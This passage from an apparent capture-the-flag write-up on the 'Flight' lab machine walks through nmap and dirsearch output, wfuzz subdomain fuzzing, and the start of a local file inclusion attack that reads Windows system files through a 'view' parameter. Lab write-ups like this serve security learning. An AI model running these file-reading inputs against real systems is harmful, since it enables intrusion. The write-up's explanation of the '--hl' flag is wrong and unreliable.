49674/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>         <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
49695/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>         <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
64146/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>         <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
<span class="hljs-selector-tag">Service</span> <span class="hljs-selector-tag">Info</span>: <span class="hljs-selector-tag">Host</span>: <span class="hljs-selector-tag">G0</span>; <span class="hljs-selector-tag">OS</span>: <span class="hljs-selector-tag">Windows</span>; <span class="hljs-selector-tag">CPE</span>: <span class="hljs-selector-tag">cpe</span>:/<span class="hljs-selector-tag">o</span><span class="hljs-selector-pseudo">:microsoft</span><span class="hljs-selector-pseudo">:windows</span>

<span class="hljs-selector-tag">Host</span> <span class="hljs-selector-tag">script</span> <span class="hljs-selector-tag">results</span>:
| <span class="hljs-selector-tag">smb2-security-mode</span>: 
|   3<span class="hljs-selector-pseudo">:1</span><span class="hljs-selector-pseudo">:1</span>: 
|_    <span class="hljs-selector-tag">Message</span> <span class="hljs-selector-tag">signing</span> <span class="hljs-selector-tag">enabled</span> <span class="hljs-selector-tag">and</span> <span class="hljs-selector-tag">required</span>
| <span class="hljs-selector-tag">smb2-time</span>: 
|   <span class="hljs-selector-tag">date</span>: 2023<span class="hljs-selector-tag">-10-21T15</span><span class="hljs-selector-pseudo">:57</span><span class="hljs-selector-pseudo">:49</span>
|_  <span class="hljs-selector-tag">start_date</span>: <span class="hljs-selector-tag">N</span>/<span class="hljs-selector-tag">A</span>
|_<span class="hljs-selector-tag">clock-skew</span>: 6<span class="hljs-selector-tag">h59m59s</span>

<span class="hljs-selector-tag">Service</span> <span class="hljs-selector-tag">detection</span> <span class="hljs-selector-tag">performed</span>. <span class="hljs-selector-tag">Please</span> <span class="hljs-selector-tag">report</span> <span class="hljs-selector-tag">any</span> <span class="hljs-selector-tag">incorrect</span> <span class="hljs-selector-tag">results</span> <span class="hljs-selector-tag">at</span> <span class="hljs-selector-tag">https</span>://<span class="hljs-selector-tag">nmap</span><span class="hljs-selector-class">.org</span>/<span class="hljs-selector-tag">submit</span>/ .
<span class="hljs-selector-tag">Nmap</span> <span class="hljs-selector-tag">done</span>: 1 <span class="hljs-selector-tag">IP</span> <span class="hljs-selector-tag">address</span> (1 <span class="hljs-selector-tag">host</span> <span class="hljs-selector-tag">up</span>) <span class="hljs-selector-tag">scanned</span> <span class="hljs-selector-tag">in</span> 232<span class="hljs-selector-class">.72</span> <span class="hljs-selector-tag">seconds</span>
</code></pre>
<p>we see that the <code>nmap</code> scan identifies the domain <code>flight.htb</code> so we added that to the the list of our <code>/etc/hosts</code> file through...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697877339475/0b0a997a-e985-4395-ae92-f87db2008a03.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">echo</span> "10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.215</span><span class="hljs-selector-class">.167</span> <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>" | <span class="hljs-selector-tag">sudo</span> <span class="hljs-selector-tag">tee</span> <span class="hljs-selector-tag">-a</span> /<span class="hljs-selector-tag">etc</span>/<span class="hljs-selector-tag">hosts</span>
</code></pre>
<p>so what this does is... it will append the detail <code>10.129.21.127 flight.htb</code> to the <code>hosts</code> file.</p>
<h3 id="heading-enumeration">Enumeration</h3>
<p>so we begin our enumeration by checking out port <code>80/tcp</code> and we see the webpage</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697879242036/7d461df2-993e-4afd-b2d4-06a8418aca07.png" alt class="image--center mx-auto" /></p>
<p>Using the Wappalyzer plugin, it detects the operating system as "Windows Server". It has provided some insights into the backend technology stack used for hosting the website.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697879835884/df28753d-8882-4ac4-b4b5-96760342ed00.png" alt class="image--center mx-auto" /></p>
<p>This detail is interesting... we will just take note of it. After doing enumeration on the webpage itself we don't get much.... we even do a directory brute force to try and identify directories that can be of use to us but we don't get.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697880206734/56f35a4e-55a9-4ba0-8733-7b5cc4549d05.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css">
  _|. _ _  _  _  _ _|_    <span class="hljs-selector-tag">v0</span><span class="hljs-selector-class">.4</span><span class="hljs-selector-class">.2</span>
 (_||| _) (/_(_|| (_| )

<span class="hljs-selector-tag">Extensions</span>: <span class="hljs-selector-tag">php</span>, <span class="hljs-selector-tag">aspx</span>, <span class="hljs-selector-tag">jsp</span>, <span class="hljs-selector-tag">html</span>, <span class="hljs-selector-tag">js</span> | <span class="hljs-selector-tag">HTTP</span> <span class="hljs-selector-tag">method</span>: <span class="hljs-selector-tag">GET</span> | <span class="hljs-selector-tag">Threads</span>: 30 | <span class="hljs-selector-tag">Wordlist</span> <span class="hljs-selector-tag">size</span>: 10927

<span class="hljs-selector-tag">Output</span> <span class="hljs-selector-tag">File</span>: /<span class="hljs-selector-tag">home</span>/<span class="hljs-selector-tag">isayar17_x401a</span>/<span class="hljs-selector-class">.dirsearch</span>/<span class="hljs-selector-tag">reports</span>/<span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>/_23<span class="hljs-selector-tag">-10-21_12-19-25</span><span class="hljs-selector-class">.txt</span>

<span class="hljs-selector-tag">Error</span> <span class="hljs-selector-tag">Log</span>: /<span class="hljs-selector-tag">home</span>/<span class="hljs-selector-tag">isayar17_x401a</span>/<span class="hljs-selector-class">.dirsearch</span>/<span class="hljs-selector-tag">logs</span>/<span class="hljs-selector-tag">errors-23-10-21_12-19-25</span><span class="hljs-selector-class">.log</span>

<span class="hljs-selector-tag">Target</span>: <span class="hljs-selector-tag">http</span>://<span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>/

<span class="hljs-selector-attr">[12:19:27]</span> <span class="hljs-selector-tag">Starting</span>: 
<span class="hljs-selector-attr">[12:19:31]</span> 301 <span class="hljs-selector-tag">-</span>  329<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">js</span>  <span class="hljs-selector-tag">-</span>&gt;  <span class="hljs-selector-tag">http</span>://<span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>/<span class="hljs-selector-tag">js</span>/
<span class="hljs-selector-attr">[12:19:31]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /%3<span class="hljs-selector-tag">f</span>/
<span class="hljs-selector-attr">[12:19:31]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /%<span class="hljs-selector-tag">C0</span>%<span class="hljs-selector-tag">AE</span>%<span class="hljs-selector-tag">C0</span>%<span class="hljs-selector-tag">AE</span>%<span class="hljs-selector-tag">C0</span>%<span class="hljs-selector-tag">AF</span>
<span class="hljs-selector-attr">[12:19:31]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /%<span class="hljs-selector-tag">ff</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.ht_wsr</span><span class="hljs-selector-class">.txt</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.htaccess_sc</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.htaccessBAK</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.htaccessOLD</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.htaccessOLD2</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.html</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.htm</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.htpasswds</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.htpasswd_test</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.httr-oauth</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.htaccess</span><span class="hljs-selector-class">.bak1</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.htaccess</span><span class="hljs-selector-class">.sample</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.htaccess</span><span class="hljs-selector-class">.orig</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.htaccess</span><span class="hljs-selector-class">.save</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.htaccess_extra</span>
<span class="hljs-selector-attr">[12:19:39]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-class">.htaccess_orig</span>
<span class="hljs-selector-attr">[12:19:58]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">Trace</span><span class="hljs-selector-class">.axd</span>::$<span class="hljs-selector-tag">DATA</span>
<span class="hljs-selector-attr">[12:20:31]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">cgi-bin</span>/
<span class="hljs-selector-attr">[12:20:32]</span> 200 <span class="hljs-selector-tag">-</span>    1<span class="hljs-selector-tag">KB</span> <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">cgi-bin</span>/<span class="hljs-selector-tag">printenv</span><span class="hljs-selector-class">.pl</span>
<span class="hljs-selector-attr">[12:20:37]</span> 301 <span class="hljs-selector-tag">-</span>  330<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">css</span>  <span class="hljs-selector-tag">-</span>&gt;  <span class="hljs-selector-tag">http</span>://<span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>/<span class="hljs-selector-tag">css</span>/
<span class="hljs-selector-attr">[12:20:47]</span> 503 <span class="hljs-selector-tag">-</span>  399<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">examples</span>
<span class="hljs-selector-attr">[12:20:47]</span> 503 <span class="hljs-selector-tag">-</span>  399<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">examples</span>/
<span class="hljs-selector-attr">[12:20:47]</span> 503 <span class="hljs-selector-tag">-</span>  399<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">examples</span>/<span class="hljs-selector-tag">jsp</span>/%252<span class="hljs-selector-tag">e</span>%252<span class="hljs-selector-tag">e</span>/%252<span class="hljs-selector-tag">e</span>%252<span class="hljs-selector-tag">e</span>/<span class="hljs-selector-tag">manager</span>/<span class="hljs-selector-tag">html</span>/
<span class="hljs-selector-attr">[12:20:47]</span> 503 <span class="hljs-selector-tag">-</span>  399<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">examples</span>/<span class="hljs-selector-tag">jsp</span>/<span class="hljs-selector-tag">snp</span>/<span class="hljs-selector-tag">snoop</span><span class="hljs-selector-class">.jsp</span>
<span class="hljs-selector-attr">[12:20:47]</span> 503 <span class="hljs-selector-tag">-</span>  399<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">examples</span>/<span class="hljs-selector-tag">servlets</span>/<span class="hljs-selector-tag">servlet</span>/<span class="hljs-selector-tag">RequestHeaderExample</span>
<span class="hljs-selector-attr">[12:20:47]</span> 503 <span class="hljs-selector-tag">-</span>  399<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">examples</span>/<span class="hljs-selector-tag">servlet</span>/<span class="hljs-selector-tag">SnoopServlet</span>
<span class="hljs-selector-attr">[12:20:47]</span> 503 <span class="hljs-selector-tag">-</span>  399<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">examples</span>/<span class="hljs-selector-tag">servlets</span>/<span class="hljs-selector-tag">index</span><span class="hljs-selector-class">.html</span>
<span class="hljs-selector-attr">[12:20:47]</span> 503 <span class="hljs-selector-tag">-</span>  399<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">examples</span>/<span class="hljs-selector-tag">servlets</span>/<span class="hljs-selector-tag">servlet</span>/<span class="hljs-selector-tag">CookieExample</span>
<span class="hljs-selector-attr">[12:20:54]</span> 301 <span class="hljs-selector-tag">-</span>  333<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">images</span>  <span class="hljs-selector-tag">-</span>&gt;  <span class="hljs-selector-tag">http</span>://<span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>/<span class="hljs-selector-tag">images</span>/
<span class="hljs-selector-attr">[12:20:54]</span> 200 <span class="hljs-selector-tag">-</span>    5<span class="hljs-selector-tag">KB</span> <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">images</span>/
<span class="hljs-selector-attr">[12:20:56]</span> 200 <span class="hljs-selector-tag">-</span>    7<span class="hljs-selector-tag">KB</span> <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">index</span><span class="hljs-selector-class">.html</span>
<span class="hljs-selector-attr">[12:20:56]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">index</span><span class="hljs-selector-class">.php</span>::$<span class="hljs-selector-tag">DATA</span>
<span class="hljs-selector-attr">[12:20:59]</span> 200 <span class="hljs-selector-tag">-</span>    3<span class="hljs-selector-tag">KB</span> <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">js</span>/
<span class="hljs-selector-attr">[12:21:16]</span> 403 <span class="hljs-selector-tag">-</span>  418<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">phpmyadmin</span>/<span class="hljs-selector-tag">doc</span>/<span class="hljs-selector-tag">html</span>/<span class="hljs-selector-tag">index</span><span class="hljs-selector-class">.html</span>
<span class="hljs-selector-attr">[12:21:16]</span> 403 <span class="hljs-selector-tag">-</span>  418<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">phpmyadmin</span>/<span class="hljs-selector-tag">ChangeLog</span>
<span class="hljs-selector-attr">[12:21:16]</span> 403 <span class="hljs-selector-tag">-</span>  418<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">phpmyadmin</span>/<span class="hljs-selector-tag">docs</span>/<span class="hljs-selector-tag">html</span>/<span class="hljs-selector-tag">index</span><span class="hljs-selector-class">.html</span>
<span class="hljs-selector-attr">[12:21:16]</span> 403 <span class="hljs-selector-tag">-</span>  418<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">phpmyadmin</span>/<span class="hljs-selector-tag">README</span>
<span class="hljs-selector-attr">[12:21:17]</span> 403 <span class="hljs-selector-tag">-</span>  418<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">phpmyadmin</span>
<span class="hljs-selector-attr">[12:21:19]</span> 403 <span class="hljs-selector-tag">-</span>  418<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">phpmyadmin</span>/
<span class="hljs-selector-attr">[12:21:19]</span> 403 <span class="hljs-selector-tag">-</span>  418<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">phpmyadmin</span>/<span class="hljs-selector-tag">phpmyadmin</span>/<span class="hljs-selector-tag">index</span><span class="hljs-selector-class">.php</span>
<span class="hljs-selector-attr">[12:21:19]</span> 403 <span class="hljs-selector-tag">-</span>  418<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">phpmyadmin</span>/<span class="hljs-selector-tag">scripts</span>/<span class="hljs-selector-tag">setup</span><span class="hljs-selector-class">.php</span>
<span class="hljs-selector-attr">[12:21:19]</span> 403 <span class="hljs-selector-tag">-</span>  418<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">phpmyadmin</span>/<span class="hljs-selector-tag">index</span><span class="hljs-selector-class">.php</span>
<span class="hljs-selector-attr">[12:21:27]</span> 403 <span class="hljs-selector-tag">-</span>  418<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">server-status</span>
<span class="hljs-selector-attr">[12:21:27]</span> 403 <span class="hljs-selector-tag">-</span>  418<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">server-status</span>/
<span class="hljs-selector-attr">[12:21:27]</span> 403 <span class="hljs-selector-tag">-</span>  418<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">server-info</span>
<span class="hljs-selector-attr">[12:21:45]</span> 403 <span class="hljs-selector-tag">-</span>  299<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">web</span><span class="hljs-selector-class">.config</span>::$<span class="hljs-selector-tag">DATA</span>
<span class="hljs-selector-attr">[12:21:46]</span> 403 <span class="hljs-selector-tag">-</span>  418<span class="hljs-selector-tag">B</span>  <span class="hljs-selector-tag">-</span> /<span class="hljs-selector-tag">webalizer</span>

<span class="hljs-selector-tag">Task</span> <span class="hljs-selector-tag">Completed</span>
</code></pre>
<p>so we move on to sub-domain enumeration using wfuzz, the command used is:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697881611803/17914757-ee40-42ef-8270-9714974173cd.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">wfuzz</span> <span class="hljs-selector-tag">-c</span> <span class="hljs-selector-tag">-w</span> /<span class="hljs-selector-tag">usr</span>/<span class="hljs-selector-tag">share</span>/<span class="hljs-selector-tag">seclists</span>/<span class="hljs-selector-tag">Discovery</span>/<span class="hljs-selector-tag">DNS</span>/<span class="hljs-selector-tag">subdomains-top1million-20000</span><span class="hljs-selector-class">.txt</span> <span class="hljs-selector-tag">-u</span> "<span class="hljs-selector-tag">http</span>://<span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>/" <span class="hljs-selector-tag">-H</span> "<span class="hljs-selector-tag">Host</span>: <span class="hljs-selector-tag">FUZZ</span><span class="hljs-selector-class">.flight</span><span class="hljs-selector-class">.htb</span>" <span class="hljs-selector-tag">--hl</span> 154
</code></pre>
<p>so the breakdown of the command is as follows:</p>
<p><code>-c:</code> This option tells wfuzz to display the output in color. It enhances the readability of the results by highlighting different parts of the output.</p>
<p><code>-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt</code>: This parameter specifies the wordlist file to be used for fuzzing. In this case, the file /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt is being used. This file likely contains a list of subdomains that will be tested against the target URL.</p>
<p><code>-u</code> "<a target="_blank" href="http://flight.htb/">http://flight.htb/</a>": This option specifies the target URL that will be fuzzed. In this case, the URL is <a target="_blank" href="http://flight.htb/">http://flight.htb/</a>. The tool will replace the FUZZ keyword in the Host header with the subdomains from the wordlist to test for existence or other potential vulnerabilities.</p>
<p><code>-H "Host: FUZZ.flight.htb"</code>: This parameter sets the Host header for the HTTP request. The FUZZ keyword will be replaced by each subdomain from the wordlist during the fuzzing process. This allows the tool to test different subdomains by substituting them in the Host header.</p>
<p><code>--hl 154</code>: This option sets the maximum content length (in bytes) that the server response can have. If the response length exceeds this value, it will be truncated. In this case, the value is set to 154.</p>
<p>we get the output as:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697882248837/6bebb623-cc00-4fa2-8436-833c53fc696c.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">wfuzz</span> <span class="hljs-selector-tag">-c</span> <span class="hljs-selector-tag">-w</span> /<span class="hljs-selector-tag">usr</span>/<span class="hljs-selector-tag">share</span>/<span class="hljs-selector-tag">seclists</span>/<span class="hljs-selector-tag">Discovery</span>/<span class="hljs-selector-tag">DNS</span>/<span class="hljs-selector-tag">subdomains-top1million-20000</span><span class="hljs-selector-class">.txt</span> <span class="hljs-selector-tag">-u</span> "<span class="hljs-selector-tag">http</span>://<span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>/" <span class="hljs-selector-tag">-H</span> "<span class="hljs-selector-tag">Host</span>: <span class="hljs-selector-tag">FUZZ</span><span class="hljs-selector-class">.flight</span><span class="hljs-selector-class">.htb</span>" <span class="hljs-selector-tag">--hl</span> 154
 /<span class="hljs-selector-tag">usr</span>/<span class="hljs-selector-tag">lib</span>/<span class="hljs-selector-tag">python3</span>/<span class="hljs-selector-tag">dist-packages</span>/<span class="hljs-selector-tag">wfuzz</span>/__<span class="hljs-selector-tag">init__</span><span class="hljs-selector-class">.py</span><span class="hljs-selector-pseudo">:34</span>: <span class="hljs-selector-tag">UserWarning</span><span class="hljs-selector-pseudo">:Pycurl</span> <span class="hljs-selector-tag">is</span> <span class="hljs-selector-tag">not</span> <span class="hljs-selector-tag">compiled</span> <span class="hljs-selector-tag">against</span> <span class="hljs-selector-tag">Openssl</span>. <span class="hljs-selector-tag">Wfuzz</span> <span class="hljs-selector-tag">might</span> <span class="hljs-selector-tag">not</span> <span class="hljs-selector-tag">work</span> <span class="hljs-selector-tag">correctly</span> <span class="hljs-selector-tag">when</span> <span class="hljs-selector-tag">fuzzing</span> <span class="hljs-selector-tag">SSL</span> <span class="hljs-selector-tag">sites</span>. <span class="hljs-selector-tag">Check</span> <span class="hljs-selector-tag">Wfuzz</span>'<span class="hljs-selector-tag">s</span> <span class="hljs-selector-tag">documentation</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-tag">more</span> <span class="hljs-selector-tag">information</span>.
********************************************************
* <span class="hljs-selector-tag">Wfuzz</span> 3<span class="hljs-selector-class">.1</span><span class="hljs-selector-class">.0</span> <span class="hljs-selector-tag">-</span> <span class="hljs-selector-tag">The</span> <span class="hljs-selector-tag">Web</span> <span class="hljs-selector-tag">Fuzzer</span>                         *
********************************************************

<span class="hljs-selector-tag">Target</span>: <span class="hljs-selector-tag">http</span>://<span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb</span>/
<span class="hljs-selector-tag">Total</span> <span class="hljs-selector-tag">requests</span>: 19966

=====================================================================
<span class="hljs-selector-tag">ID</span>           <span class="hljs-selector-tag">Response</span>   <span class="hljs-selector-tag">Lines</span>    <span class="hljs-selector-tag">Word</span>       <span class="hljs-selector-tag">Chars</span>       <span class="hljs-selector-tag">Payload</span>                                                                                              
=====================================================================

000000624:   200        90 <span class="hljs-selector-tag">L</span>     412 <span class="hljs-selector-tag">W</span>      3996 <span class="hljs-selector-tag">Ch</span>     "<span class="hljs-selector-tag">school</span>"
</code></pre>
<p>The sub-domain <code>school</code> was identified... so we added the virtual host <code>school.flight.htb</code> to our <code>/etc/hosts</code> file... use a text editor of your choice to add the sub-domain.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697882457557/4652a173-5612-4dd0-b15e-266f694d17de.png" alt class="image--center mx-auto" /></p>
<p>once we add that and go and visit the webpage <code>http://school.flight.htb</code> we see:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697882803221/4fce329e-9363-4ed3-aa19-a6feca511bc6.png" alt class="image--center mx-auto" /></p>
<p>From here we continue our enumeration.</p>
<h3 id="heading-exploiting-lfi"><strong>Exploiting LFI</strong></h3>
<p>During our enumeration, we see that the options <code>Home</code>, <code>About Us</code> and <code>Blog</code> are functional and when clicked they use the parameter <code>?view=</code> on the <code>index.php</code> to load the page. Take for example <code>Home</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697883448595/429ea27f-1b99-4224-927e-0f05812906b1.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">http</span>://<span class="hljs-selector-tag">school</span><span class="hljs-selector-class">.flight</span><span class="hljs-selector-class">.htb</span>/<span class="hljs-selector-tag">index</span><span class="hljs-selector-class">.php</span>?<span class="hljs-selector-tag">view</span>=<span class="hljs-selector-tag">home</span><span class="hljs-selector-class">.html</span>
</code></pre>
<p><strong>LFI</strong></p>
<p><a target="_blank" href="https://www.aptive.co.uk/blog/local-file-inclusion-lfi-testing/">Local File Inclusion (LFI)</a> vulnerabilities enable an attacker to read arbitrary files on the server that is running an application. In an LFI attack, an attacker can exploit the vulnerability to access and read files that are present on the server, which may include sensitive system files, configuration files, or application source code. This unauthorized access to files can potentially lead to the exposure of critical information or further exploitation of the system.</p>
<p>The URL structure suggests that the HTML page displayed is incorporated into the <code>"index.php"</code> file through the <code>"view"</code> parameter. This configuration is often susceptible to Local File Inclusion (LFI) attacks. Remember since the Operating system that was detected on the machine was Windows... we can attempt to access and read the <code>"C:\Windows\System32\drivers\etc\networks"</code> file by specifying this path in the <code>"view"</code> parameter.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697886568635/0e275048-b049-4718-bcf8-a23c6c53c347.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">http</span>://<span class="hljs-selector-tag">school</span><span class="hljs-selector-class">.flight</span><span class="hljs-selector-class">.htb</span>/<span class="hljs-selector-tag">index</span><span class="hljs-selector-class">.php</span>?<span class="hljs-selector-tag">view</span>=<span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Windows</span>\<span class="hljs-selector-tag">System32</span>\<span class="hljs-selector-tag">drivers</span>\<span class="hljs-selector-tag">etc</span>\<span class="hljs-selector-tag">networks</span>
</code></pre>
<p>since we had information that the operating system was Windows when we tried to go the normal way of accessing a path on Windows <code>C:\Windows\System32\drivers\etc\hosts</code> we see that our activity is being blocked... looks like a mitigation has been put in place but still, we can access a path on Windows using the <code>/</code> it does not always have to be <code>\</code> . Let's see if a mitigation had been put in place for this too.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697886679749/7ab0c1ef-32a1-4ce5-9640-c2caeac104c9.png" alt class="image--center mx-auto" /></p>
